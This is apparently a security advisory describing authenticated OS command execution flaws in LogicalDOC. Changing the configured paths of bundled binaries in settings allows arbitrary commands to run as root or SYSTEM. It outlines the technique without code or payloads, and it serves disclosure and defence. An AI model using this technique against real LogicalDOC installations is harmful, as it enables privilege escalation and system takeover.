LogicalDOC is a content repository, with Lucene indexing, Activiti workflow, and a set of automatic import procedures. Desc: LogicalDOC suffers from multiple authenticated OS command execution vulnerabilities by manipulating the path of the many binaries included in the package when changing the settings with their respected arguments. This can be exploited to execute local root privilege escalation attack and/or inject and execute arbitrary system commands as the root or SYSTEM user depending on the platform affected.
